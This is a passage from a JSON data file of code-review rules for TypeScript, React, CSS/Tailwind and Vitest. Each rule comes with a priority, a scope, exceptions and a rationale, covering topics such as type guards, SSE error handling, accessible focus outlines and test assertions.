universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: For large or hot-path collections where profiling shows the extra iterations matter, a single-pass loop (or reduce) is the right call.","whyItMatters":"Reaching for a manual loop to save one pass over a small list is premature optimization: it adds boilerplate (mutable accumulator, continue) without a measurable benefit, hurting readability for nothing.","priority":"p2","scope":"universal"},{"title":"Prefer a positive filter predicate over a negated exclusion predicate","rule":"Filter on the condition for what you want to keep rather than negating a predicate for what you want to drop.","apiRule":"Filter on the condition for what you want to keep rather than negating a predicate for what you want to drop. Filtering by negating an 'unwanted' predicate forces the reader to mentally invert the condition to understand which items survive, which is slower to parse and easy to get backwards. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the natural domain concept is the exclusion (e.g. 'remove blocked users') and that reads more clearly than its inverse, the negated form can be the better choice.","whyItMatters":"Filtering by negating an 'unwanted' predicate forces the reader to mentally invert the condition to understand which items survive, which is slower to parse and easy to get backwards.","priority":"p2","scope":"universal"},{"title":"A type guard must check every field that distinguishes the narrowed variant","rule":"When a type predicate narrows a union to one variant, verify all the fields that variant guarantees, not just one of them.","apiRule":"When a type predicate narrows a union to one variant, verify all the fields that variant guarantees, not just one of them. The predicate asserts the full ShippedOrder shape but only checks trackingNumber. TypeScript trusts the assertion, so reading carrier compiles fine yet can blow up at runtime if carrier is null while trackingNumber is set. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If one field is a true discriminant tag (a literal union like `kind: 'shipped'`) that is guaranteed to co-vary with the others, checking that single tag is sufficient.","whyItMatters":"The predicate asserts the full ShippedOrder shape but only checks trackingNumber. TypeScript trusts the assertion, so reading carrier compiles fine yet can blow up at runtime if carrier is null while trackingNumber is set.","priority":"p1","scope":"universal"},{"title":"Model distinct entity states as a discriminated union, not one all-nullable type","rule":"When an entity has two distinct states where most fields are absent in one of them, use a union of complete shapes instead of a single type with everything nullable.","apiRule":"When an entity has two distinct states where most fields are absent in one of them, use a union of complete shapes instead of a single type with everything nullable. A single type with most fields nullable hides the real shape of the data: the type system can't tell a shipped order from an unshipped one, so every consumer must defensively null-check, and nothing prevents reading fields that only exist in one state. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the two states share almost all fields and only one or two are conditionally absent, a single type with those few optional fields is fine and simpler. Balance against discriminated-union-only-when-variants-diverge: use a discriminated union when states diverge enough that most fields are absent or invalid in one state.","whyItMatters":"A single type with most fields nullable hides the real shape of the data: the type system can't tell a shipped order from an unshipped one, so every consumer must defensively null-check, and nothing prevents reading fields that only exist in one state.","priority":"p1","scope":"universal"},{"title":"Remove dependencies made redundant by a framework upgrade","rule":"After upgrading a major framework version, review dependencies (plugins, polyfills, helpers) the new version absorbs or replaces and uninstall the ones no longer needed.","apiRule":"After upgrading a major framework version, review dependencies (plugins, polyfills, helpers) the new version absorbs or replaces and uninstall the ones no longer needed. The plugin and polyfill were only needed for the old major version; keeping them after upgrading bloats node_modules and misleads readers about the real dependency surface. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Check the upgrade's migration guide for plugins/features that became built-in, then remove them and re-run the build/tests to confirm nothing relied on them.","whyItMatters":"The plugin and polyfill were only needed for the old major version; keeping them after upgrading bloats node_modules and misleads readers about the real dependency surface.","priority":"p2","scope":"universal"},{"title":"Apply mechanical/codemod refactors uniformly across the change","rule":"When a refactor applies the same transformation repeatedly (renaming, prefixing, swapping utilities), convert every occurrence consistently or document why specific ones are intentionally left as-is.","apiRule":"When a refactor applies the same transformation repeatedly (renaming, prefixing, swapping utilities), convert every occurrence consistently or document why specific ones are intentionally left as-is. Some tokens got the new prefix/utility and others didn't, with no comment explaining the difference, so a reviewer can't tell if the leftover is a bug or intentional. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Codemods can miss cases; after running one, grep for the old pattern to catch stragglers and decide deliberately for each remaining one.","whyItMatters":"Some tokens got the new prefix/utility and others didn't, with no comment explaining the difference, so a reviewer can't tell if the leftover is a bug or intentional.","priority":"p2","scope":"universal"},{"title":"Make config include/ignore paths match actual file locations","rule":"Glob and ignore patterns in tool config must point at the real path of the target file; a mismatched path silently fails to apply, even if the tool happens to behave correctly for unrelated reasons.","apiRule":"Glob and ignore patterns in tool config must point at the real path of the target file; a mismatched path silently fails to apply, even if the tool happens to behave correctly for unrelated reasons. The ignore pattern targets ./styles/... but the file is under ./src/styles/..., so the rule never matches the intended file. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Verify config paths against the real directory layout rather than assuming correctness from current tool output — coincidental behavior can hide a wrong path.","whyItMatters":"The ignore pattern targets ./styles/... but the file is under ./src/styles/..., so the rule never matches the intended file.","priority":"p1","scope":"universal"},{"title":"Preserve positioning context when changing position across breakpoints","rule":"Changing an element's position (e.g. relative→static) at a breakpoint reanchors absolutely-positioned descendants to a different ancestor; verify dropdown/overlay anchoring before altering the positioning context.","apiRule":"Changing an element's position (e.g. relative→static) at a breakpoint reanchors absolutely-positioned descendants to a different ancestor; verify dropdown/overlay anchoring before altering the positioning context. On wide screens .menu becomes static, so the absolute .dropdown reanchors to the next positioned ancestor and shifts its position unexpectedly. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If you must change position responsively, audit every absolutely/fixed-positioned descendant to confirm its anchor ancestor is intentional. Desktop-first responsive styles make these regressions easy to miss.","whyItMatters":"On wide screens .menu becomes static, so the absolute .dropdown reanchors to the next positioned ancestor and shifts its position unexpectedly.","priority":"p1","scope":"universal"},{"title":"Update dependent selectors when renaming or prefixing a class","rule":"Renaming or prefixing a CSS class requires updating every selector that references it (descendant, attribute, :has(), state hooks); otherwise those rules silently stop matching.","apiRule":"Renaming or prefixing a CSS class requires updating every selector that references it (descendant, attribute, :has(), state hooks); otherwise those rules silently stop matching. The :has(.search[data-open]) hook no longer matches because the element now uses .zp-search, so the conditional z-index never applies — a silent regression. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Grep for the old class name across the codebase (including string-built selectors and attribute selectors) before considering a rename complete.","whyItMatters":"The :has(.search[data-open]) hook no longer matches because the element now uses .zp-search, so the conditional z-index never applies — a silent regression.","priority":"p1","scope":"universal"},{"title":"Use gap only on flex/grid containers, and mind hidden-child behavior","rule":"Prefer gap for spacing between flex/grid children, but apply it only on actual flex/grid containers and account for the difference in how gap vs margin-based space utilities treat hidden children.","apiRule":"Prefer gap for spacing between flex/grid children, but apply it only on actual flex/grid containers and account for the difference in how gap vs margin-based space utilities treat hidden children. gap has no effect on a non-flex/non-grid element like inline-block, so the spacing silently disappears. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. In Tailwind v4 space-* no longer accounts for hidden elements while gap does natively — pick the utility based on the layout behavior you actually want, not just to be consistent.","whyItMatters":"gap has no effect on a non-flex/non-grid element like inline-block, so the spacing silently disappears.","priority":"p2","scope":"universal"},{"title":"Remove focus outlines accessibly, not with outline-none","rule":"When suppressing the default focus outline for visual design, use an accessibility-friendly approach (outline-hidden / forced-colors fallback) instead of outline-none, which strips the keyboard focus indicator entirely.","apiRule":"When suppressing the default focus outline for visual design, use an accessibility-friendly approach (outline-hidden / forced-colors fallback) instead of outline-none, which strips the keyboard focus indicator entirely. focus:outline-none completely removes the outline, including for keyboard users and Windows high-contrast (forced-colors) mode, leaving no visible focus indicator. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Tailwind v4 introduced outline-hidden specifically as the a11y-safe replacement for the old outline-none behavior; never remove a focus indicator without providing an alternative visible focus style. Exceptions: Acceptable only if you replace the native outline with another clearly visible focus style (e.g. a ring or border change) that also works in forced-colors mode.","whyItMatters":"focus:outline-none completely removes the outline, including for keyboard users and Windows high-contrast (forced-colors) mode, leaving no visible focus indicator.","priority":"p1","scope":"universal"},{"title":"Use object-fit: cover for fixed-size images","rule":"Apply object-fit: cover to fixed-dimension images so non-square sources crop instead of distorting.","apiRule":"Apply object-fit: cover to fixed-dimension images so non-square sources crop instead of distorting. Without object-fit, a source whose intrinsic size differs from 20x20 is distorted to fill the box. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use object-fit: contain instead when the whole image must be visible even if it leaves empty space.","whyItMatters":"Without object-fit, a source whose intrinsic size differs from 20x20 is distorted to fill the box.","priority":"p2","scope":"universal"},{"title":"Show full text in a tooltip when list text is truncated","rule":"Provide the complete label via tooltip/title when compact list items truncate their text.","apiRule":"Provide the complete label via tooltip/title when compact list items truncate their text. Truncated titles leave the user unable to read the full text, with no way to reveal it. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Truncated titles leave the user unable to read the full text, with no way to reveal it.","priority":"p2","scope":"universal"},{"title":"Gate non-essential animations behind prefers-reduced-motion","rule":"Disable or tone down looping/blinking animations when the user requests reduced motion.","apiRule":"Disable or tone down looping/blinking animations when the user requests reduced motion. An infinite blinking animation runs for everyone, including users who set prefers-reduced-motion and may be harmed by it. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Essential motion that conveys required information may stay, but should still be minimized under reduced-motion.","whyItMatters":"An infinite blinking animation runs for everyone, including users who set prefers-reduced-motion and may be harmed by it.","priority":"p1","scope":"universal"},{"title":"Initialize state from a prop instead of syncing via useEffect","rule":"When state only needs the prop's initial value, pass it to useState directly rather than setting it in a mount-time useEffect.","apiRule":"When state only needs the prop's initial value, pass it to useState directly rather than setting it in a mount-time useEffect. Mirroring a prop into state via useEffect causes an extra render and an avoidable false->true flash on mount. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If state must keep tracking later prop changes (controlled/derived from a changing prop), you need a different pattern; this applies when only the initial value matters.","whyItMatters":"Mirroring a prop into state via useEffect causes an extra render and an avoidable false->true flash on mount.","priority":"p1","scope":"universal"},{"title":"Default optional props once at destructuring, not at each use","rule":"Set defaults for optional props in the parameter destructuring rather than coalescing (?? fallback) at each call site.","apiRule":"Set defaults for optional props in the parameter destructuring rather than coalescing (?? fallback) at each call site. Coalescing the fallback at every usage is repetitive and risks inconsistent defaults if one site is missed. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Coalescing the fallback at every usage is repetitive and risks inconsistent defaults if one site is missed.","priority":"p2","scope":"universal"},{"title":"Declare component props as an interface, even when extending another type","rule":"Use interface Props extends Base {} instead of type Props = Base for component props, for consistency and extensibility.","apiRule":"Use interface Props extends Base {} instead of type Props = Base for component props, for consistency and extensibility. A bare alias breaks from the props-as-interface convention and is awkward to extend later when the component needs an extra prop. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: When the props type needs unions, mapped types, or other features interfaces can't express, a type alias is correct.","whyItMatters":"A bare alias breaks from the props-as-interface convention and is awkward to extend later when the component needs an extra prop.","priority":"p2","scope":"stack-specific"},{"title":"Don't guard setState against setting the same value","rule":"Skip if (x !== next) setX(next) guards; React bails out on identical values, and reading x in an empty-deps callback risks a stale closure.","apiRule":"Skip if (x !== next) setX(next) guards; React bails out on identical values, and reading x in an empty-deps callback risks a stale closure. The guard adds no benefit (React skips re-render when the value is unchanged) and reading `failed` from a callback with empty deps captures a stale initial value. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A guard is justified when the setter call itself is expensive to reach (e.g. avoids running other side effects), not merely to avoid a same-value render.","whyItMatters":"The guard adds no benefit (React skips re-render when the value is unchanged) and reading `failed` from a callback with empty deps captures a stale initial value.","priority":"p2","scope":"universal"},{"title":"On SSE error, don't flag failure for an intentional close","rule":"In EventSource onerror, gate the failure/fallback state on readyState !== CLOSED, but always close() and null the ref so reconnection logic stays correct.","apiRule":"In EventSource onerror, gate the failure/fallback state on readyState !== CLOSED, but always close() and null the ref so reconnection logic stays correct. When the server intentionally ends the stream, onerror fires with readyState already CLOSED; unconditionally setting failed=true triggers a spurious polling fallback for a clean close. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Don't drop the ref = null assignment as 'redundant' — it is what lets the connect guard and retry interval reconnect. Exceptions: If the server holds the stream open indefinitely and never closes intentionally, the readyState guard adds no value and can be omitted.","whyItMatters":"When the server intentionally ends the stream, onerror fires with readyState already CLOSED; unconditionally setting failed=true triggers a spurious polling fallback for a clean close.","priority":"p1","scope":"universal"},{"title":"Drop SSR guards in code that only runs on the client","rule":"Omit typeof window === 'undefined' checks in client-only components/hooks where the code can never run on the server.","apiRule":"Omit typeof window === 'undefined' checks in client-only components/hooks where the code can never run on the server. If the surrounding code is guaranteed client-only, the SSR guard is dead code that implies a server path that doesn't exist. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the guard for genuinely shared/isomorphic code, or code that may run during SSR or in non-browser environments.","whyItMatters":"If the surrounding code is guaranteed client-only, the SSR guard is dead code that implies a server path that doesn't exist.","priority":"p2","scope":"universal"},{"title":"Use shared breakpoint constants instead of magic pixel widths","rule":"Reference a single shared breakpoint definition rather than inlining magic pixel values for responsive checks.","apiRule":"Reference a single shared breakpoint definition rather than inlining magic pixel values for responsive checks. An inline 768 can disagree with the breakpoint used elsewhere (and with the CSS), causing the JS and CSS notions of 'mobile' to diverge. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Confirm the value matches the breakpoint already agreed on for the product (the review flagged 768 vs an existing 640).","whyItMatters":"An inline 768 can disagree with the breakpoint used elsewhere (and with the CSS), causing the JS and CSS notions of 'mobile' to diverge.","priority":"p2","scope":"universal"},{"title":"Scope listeners/observers to the relevant element, not the whole window","rule":"To detect that a user saw or interacted with a specific element, observe that element rather than wiring global window listeners.","apiRule":"To detect that a user saw or interacted with a specific element, observe that element rather than wiring global window listeners. Global listeners fire for activity unrelated to the element, so you can't actually tell the user noticed this specific row, and you pay listener cost for every interaction on the page. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A failsafe timeout is reasonable for the case where the element never enters the viewport / is never interacted with.","whyItMatters":"Global listeners fire for activity unrelated to the element, so you can't actually tell the user noticed this specific row, and you pay listener cost for every interaction on the page.","priority":"p2","scope":"universal"},{"title":"Guard against opening duplicate stream connections","rule":"Before creating a new EventSource/WebSocket, return early if the ref already holds an open connection.","apiRule":"Before creating a new EventSource/WebSocket, return early if the ref already holds an open connection. Calling connectStream again (retry, re-render, tab toggle) opens a second EventSource while the first is still live, doubling traffic and message handling. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Pair this with nulling the ref on close so the guard correctly allows reconnection.","whyItMatters":"Calling connectStream again (retry, re-render, tab toggle) opens a second EventSource while the first is still live, doubling traffic and message handling.","priority":"p1","scope":"universal"},{"title":"Drive transient UI animations with CSS, not a web of global listeners","rule":"Use a CSS animation plus onAnimationEnd (or a single scoped observer) to end transient effects instead of registering many global window listeners.","apiRule":"Use a CSS animation plus onAnimationEnd (or a single scoped observer) to end transient effects instead of registering many global window listeners. Listening to four global events and mutating the DOM by class name is fragile, leaks intent across the whole window, and is hard to reason about. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the animation must persist until the user provably sees it (e.g. element enters viewport), a single scoped IntersectionObserver on the element is appropriate instead of global listeners.","whyItMatters":"Listening to four global events and mutating the DOM by class name is fragile, leaks intent across the whole window, and is hard to reason about.","priority":"p1","scope":"universal"},{"title":"Group CSS selector logic with :is()/:not() instead of repeating conditions per element","rule":"Use :is() to factor a shared list and a single trailing :not() for exclusions, rather than nesting &:not(...) under every element selector.","apiRule":"Use :is() to factor a shared list and a single trailing :not() for exclusions, rather than nesting &:not(...) under every element selector. The :not(.preflight *) condition is duplicated on every element. Adding a new exclusion or another element means editing every line, and the intent (one rule for a group, minus a region) is buried in repetition. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Be aware that :is() takes the highest specificity of its arguments, whereas a plain comma-separated list does not — usually fine, but check when specificity matters.","whyItMatters":"The :not(.preflight *) condition is duplicated on every element. Adding a new exclusion or another element means editing every line, and the intent (one rule for a group, minus a region) is buried in repetition.","priority":"p2","scope":"universal"},{"title":"Use a discriminated union only when variants actually diverge in shape","rule":"Prefer one shared interface with optional fields over a discriminated union when only one variant diverges; promote to a union when a consumer-side undefined access actually becomes a bug.","apiRule":"Prefer one shared interface with optional fields over a discriminated union when only one variant diverges; promote to a union when a consumer-side undefined access actually becomes a bug. Modeling five near-identical variants as a discriminated union forces every consumer to narrow on `type` before touching a shared-but-optional property, even though only `column` differs. The verbosity and rippling narrowing cost outweigh the type-safety win that applies to a single variant. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Discriminated unions shine when variants carry genuinely different fields (e.g. a success payload vs an error with a `code`). The signal to introduce one is divergence across many variants or an exhaustiveness need, not a single optional property. Exceptions: Do reach for a discriminated union upfront when you need compile-time exhaustiveness over `type`, or when multiple variants carry mutually exclusive required fields. Balance against model-entity-states-as-discriminated-union: keep one optional-field interface when only a field or two differ between variants. Balance against prefer-strict-required-fields-over-optional-properties: accept a few optional fields over a union only when variants barely differ and stay safe to read. Balance against define-distinct-types-for-distinct-data-shapes: use one interface with optional fields when shapes differ only slightly and don't warrant separate types.","whyItMatters":"Modeling five near-identical variants as a discriminated union forces every consumer to narrow on `type` before touching a shared-but-optional property, even though only `column` differs. The verbosity and rippling narrowing cost outweigh the type-safety win that applies to a single variant.","priority":"p2","scope":"stack-specific"},{"title":"Drive behavior from a semantic prop, not a hardcoded identifier match","rule":"Trigger conditional logic via an explicit prop/flag the caller sets, instead of string-matching a specific id.","apiRule":"Trigger conditional logic via an explicit prop/flag the caller sets, instead of string-matching a specific id. Coupling behavior to a hardcoded id means the component must know every id that needs the behavior, and adding a new call site requires editing the component. The magic string is brittle: a typo or renamed id silently disables the feature. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Matching on an id is acceptable for one-off, truly singleton cases where no other call site will ever need the behavior and introducing a prop would be over-engineering.","whyItMatters":"Coupling behavior to a hardcoded id means the component must know every id that needs the behavior, and adding a new call site requires editing the component. The magic string is brittle: a typo or renamed id silently disables the feature.","priority":"p1","scope":"universal"},{"title":"CSS :has() matches DOM presence, not visibility","rule":":not(:has(.child)) only fires when the child is removed from the DOM, not when it is hidden with display:none.","apiRule":":not(:has(.child)) only fires when the child is removed from the DOM, not when it is hidden with display:none. :has() finds the child as long as it exists in the DOM, even when it is display:none, so a rule that assumes the child is gone never matches and becomes dead code. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Same gotcha applies to JS checks like querySelector('.child') — presence is not visibility. When the framework always renders the node, infer state from data rather than from DOM structure.","whyItMatters":":has() finds the child as long as it exists in the DOM, even when it is display:none, so a rule that assumes the child is gone never matches and becomes dead code.","priority":"p1","scope":"universal"},{"title":"Hide and show must operate on the same element","rule":"Ensure the collapse/hide path and the restore/show path (and any CSS) all target the identical element.","apiRule":"Ensure the collapse/hide path and the restore/show path (and any CSS) all target the identical element. collapse() hides the parent container while restore() clears display on the inner element, so the container stays hidden and the UI gets stuck collapsed. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"collapse() hides the parent container while restore() clears display on the inner element, so the container stays hidden and the UI gets stuck collapsed.","priority":"p1","scope":"universal"},{"title":"Use the injected value, don't re-derive it from another field","rule":"When a value is passed in as a parameter, store it directly rather than recomputing it from a related field.","apiRule":"When a value is passed in as a parameter, store it directly rather than recomputing it from a related field. Re-deriving containerEl from el.parentElement ignores the explicitly passed value, creating two possible sources of truth that can diverge and obscuring what the constructor actually depends on. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If a relationship genuinely must be derived (e.g. el.parentElement), centralize it in one named helper and guard the result with an invariant/assert so a missing parent fails loudly instead of producing null downstream.","whyItMatters":"Re-deriving containerEl from el.parentElement ignores the explicitly passed value, creating two possible sources of truth that can diverge and obscuring what the constructor actually depends on.","priority":"p1","scope":"universal"},{"title":"Assert the rendered state, not an empty inline style string","rule":"Test visibility via computed style (display: block / not display: none), not by asserting el.style equals ''.","apiRule":"Test visibility via computed style (display: block / not display: none), not by asserting el.style equals ''. Asserting an empty string ties the test to the exact way the code cleared the style (removeProperty vs setting 'block'); it does not actually verify the element is visible. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Asserting an empty string ties the test to the exact way the code cleared the style (removeProperty vs setting 'block'); it does not actually verify the element is visible.","priority":"p1","scope":"universal"},{"title":"Assert with semantic matchers, not raw DOM property reads","rule":"Use toHaveStyle/toBeVisible instead of asserting on element.style.* so failures are readable and decoupled from implementation.","apiRule":"Use toHaveStyle/toBeVisible instead of asserting on element.style.* so failures are readable and decoupled from implementation. Reading el.style.display only sees inline styles and fails with an opaque 'expected \"\" to be \"none\"' message that says nothing about the element. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. In Vitest browser mode, expect.element is retryable, so every call must be awaited.","whyItMatters":"Reading el.style.display only sees inline styles and fails with an opaque 'expected \"\" to be \"none\"' message that says nothing about the element.","priority":"p1","scope":"universal"},{"title":"Reset arrays with reassignment, not length mutation","rule":"Prefer arr = [] over arr.length = 0 to clear an array unless a shared reference must stay live.","apiRule":"Prefer arr = [] over arr.length = 0 to clear an array unless a shared reference must stay live. Mutating .length to clear an array is a less obvious idiom and reads as a side effect on a property rather than a reset. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use arr.length = 0 when another part of the code holds a reference to the same array instance and must observe the cleared state in place.","whyItMatters":"Mutating .length to clear an array is a less obvious idiom and reads as a side effect on a property rather than a reset.","priority":"p2","scope":"universal"},{"title":"Don't manually clear the DOM when the test runner auto-cleans it","rule":"Skip manual document.body resets in afterEach when the test environment already cleans the DOM between tests.","apiRule":"Skip manual document.body resets in afterEach when the test environment already cleans the DOM between tests. Manually wiping document.body duplicates work the test runner already does between tests, adding noise and implying cleanup that the environment handles for you. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Verify the assumption: Vitest browser mode and @testing-library/react (with auto-cleanup) reset the DOM between tests. Plain happy-dom/jsdom without cleanup configured may not. Exceptions: If you opt out of auto-cleanup or share a single DOM across tests deliberately, manual teardown is justified.","whyItMatters":"Manually wiping document.body duplicates work the test runner already does between tests, adding noise and implying cleanup that the environment handles for you.","priority":"p2","scope":"universal"},{"title":"Group repeated style assertions with toHaveStyle instead of one expect per property","rule":"Prefer a single toHaveStyle({ ... }) matcher over many individual expect(el.style.x).toBe(...) lines for the same element.","apiRule":"Prefer a single toHaveStyle({ ... }) matcher over many individual expect(el.style.x).toBe(...) lines for the same element. Asserting each style property in its own expect is repetitive and scatters a single 'the element is laid out like X' intent across several lines. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When a value isn't an exact match (e.g. a computed float you assert with toBeCloseTo), keep a targeted assertion for that property rather than forcing it into toHaveStyle.","whyItMatters":"Asserting each style property in its own expect is repetitive and scatters a single 'the element is laid out like X' intent across several lines.","priority":"p2","scope":"universal"},{"title":"Don't reset/re-import modules per test unless you actually mock modules","rule":"Use a static import for the unit under test; reserve vi.resetModules() + dynamic import for cases that truly re-mock module dependencies, not mere global stubbing.","apiRule":"Use a static import for the unit under test; reserve vi.resetModules() + dynamic import for cases that truly re-mock module dependencies, not mere global stubbing. vi.resetModules() and per-test dynamic import only matter when you re-mock module dependencies between tests. Stubbing a global is unrelated, so this adds async boilerplate and re-evaluation cost for no benefit. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep vi.resetModules() + dynamic import when a test must observe different vi.mock()/vi.doMock() module replacements or re-run top-level module side effects in isolation.","whyItMatters":"vi.resetModules() and per-test dynamic import only matter when you re-mock module dependencies between tests. Stubbing a global is unrelated, so this adds async boilerplate and re-evaluation cost for no benefit.","priority":"p2","scope":"universal"},{"title":"Prefer CSS over JS-injected styles to avoid bundle bloat","rule":"Don't ship JavaScript whose only purpose is to apply styles — it grows the bundle and adds runtime work. Use CSS/SCSS unless the target is genuinely unreachable, and first try to make it reachable.","apiRule":"Don't ship JavaScript whose only purpose is to apply styles — it grows the bundle and adds runtime work. Use CSS/SCSS unless the target is genuinely unreachable, and first try to make it reachable. A JS module exists solely to inject CSS at runtime. It inflates the bundle and does work on the client that a static stylesheet would do for free. This is a workaround that should be a last resort, not the default. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Before adding JS styling, verify whether the encapsulation boundary (e.g. shadow DOM) can be disabled or opted out of via a supported flag/option. Exceptions: Acceptable when the target is genuinely unreachable from CSS and cannot be made reachable (e.g. a closed third-party shadow DOM with no configuration option), or when styles must be computed dynamically at runtime from values unknown at build time.","whyItMatters":"A JS module exists solely to inject CSS at runtime. It inflates the bundle and does work on the client that a static stylesheet would do for free. This is a workaround that should be a last resort, not the default.","priority":"p1","scope":"universal"},{"title":"Omit config options already implied by other options","rule":"Drop explicit options that an API already defaults on when a related option is set; redundant config adds noise and can drift from the docs.","apiRule":"Drop explicit options that an API already defaults on when a related option is set; redundant config adds noise and can drift from the docs. attributes: true is the default whenever attributeFilter or attributeOldValue is set, so specifying it explicitly is redundant and gives a false impression that it is doing something. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep an option explicit if it materially aids readability for a non-obvious default, but verify the default first.","whyItMatters":"attributes: true is the default whenever attributeFilter or attributeOldValue is set, so specifying it explicitly is redundant and gives a false impression that it is doing something.","priority":"p2","scope":"universal"},{"title":"Parse CSS strings via the CSSOM instead of manual string handling","rule":"Let the browser parse inline-style strings by assigning to style.cssText and reading with getPropertyValue, rather than splitting/regex-ing the string yourself.","apiRule":"Let the browser parse inline-style strings by assigning to style.cssText and reading with getPropertyValue, rather than splitting/regex-ing the string yourself. Manual regex/split parsing of CSS is fragile: it breaks on casing, whitespace, shorthand, comments, and duplicate declarations, and reimplements logic the browser already has. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Reuse a single throwaway element as the parser instead of creating one per call.","whyItMatters":"Manual regex/split parsing of CSS is fragile: it breaks on casing, whitespace, shorthand, comments, and duplicate declarations, and reimplements logic the browser already has.","priority":"p2","scope":"universal"},{"title":"Scope MutationObserver to the specific attribute you care about","rule":"Use attributeFilter (and the minimal set of observe options) so a MutationObserver only fires for the changes you actually care about.","apiRule":"Use attributeFilter (and the minimal set of observe options) so a MutationObserver only fires for the changes you actually care about. Observing childList plus all attributes means the callback runs on changes you do not care about, forcing the callback to re-filter and obscuring what is actually being watched. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Setting attributeOldValue: true also gives you mutation.oldValue so you can compare the previous and current value inside the callback. Exceptions: When you genuinely need to react to several attributes or to childList/text changes, observe all of them; the point is to observe only what you actually use.","whyItMatters":"Observing childList plus all attributes means the callback runs on changes you do not care about, forcing the callback to re-filter and obscuring what is actually being watched.","priority":"p1","scope":"universal"},{"title":"Use .js extension on relative imports in ESM TypeScript projects","rule":"Under NodeNext/ESM resolution, relative imports must end in .js (the compiled output), even when the source is .ts and even in test files.","apiRule":"Under NodeNext/ESM resolution, relative imports must end in .js (the compiled output), even when the source is .ts and even in test files. Omitting the extension (or pointing at the .ts source) breaks Node's ESM resolution at runtime, since the emitted JS imports resolve against compiled .js files. TypeScript will not rewrite these specifiers for you. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This applies to relative specifiers only; bare package imports keep their normal form. Editor 'fix import' actions often drop the extension, so double-check after auto-imports. Exceptions: Bundler-based setups (e.g. Vite/Webpack with classic bundler resolution) may not require the extension; this rule targets Node's NodeNext/ESM resolution.","whyItMatters":"Omitting the extension (or pointing at the .ts source) breaks Node's ESM resolution at runtime, since the emitted JS imports resolve against compiled .js files. TypeScript will not rewrite these specifiers for you.","priority":"p1","scope":"stack-specific"},{"title":"Remove guard clauses made unreachable by an earlier early return","rule":"Don't re-check a condition that an earlier guard already rejected and returned on; the later branch is dead code.","apiRule":"Don't re-check a condition that an earlier guard already rejected and returned on; the later branch is dead code. The second `if (!source)` can never be true: any falsy `source` was already caught by the first guard, which returned. The branch is unreachable and just adds noise. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When you tighten an early guard, scan the rest of the function for now-unreachable branches that tested the same thing.","whyItMatters":"The second `if (!source)` can never be true: any falsy `source` was already caught by the first guard, which returned. The branch is unreachable and just adds noise.","priority":"p1","scope":"universal"},{"title":"Don't use an abstract base class that adds no behavior; extract the real duplication instead","rule":"Only introduce a base class when it factors out genuinely shared behavior. If all it provides is a flag or a stateless method, make that a plain utility function and put the actually-duplicated logic (e.g. a try/catch+fallback) in the shared layer.","apiRule":"Only introduce a base class when it factors out genuinely shared behavior. If all it provides is a flag or a stateless method, make that a plain utility function and put the actually-duplicated logic (e.g. a try/catch+fallback) in the shared layer. The base class only wraps a stateless predicate, so inheritance buys nothing — meanwhile the 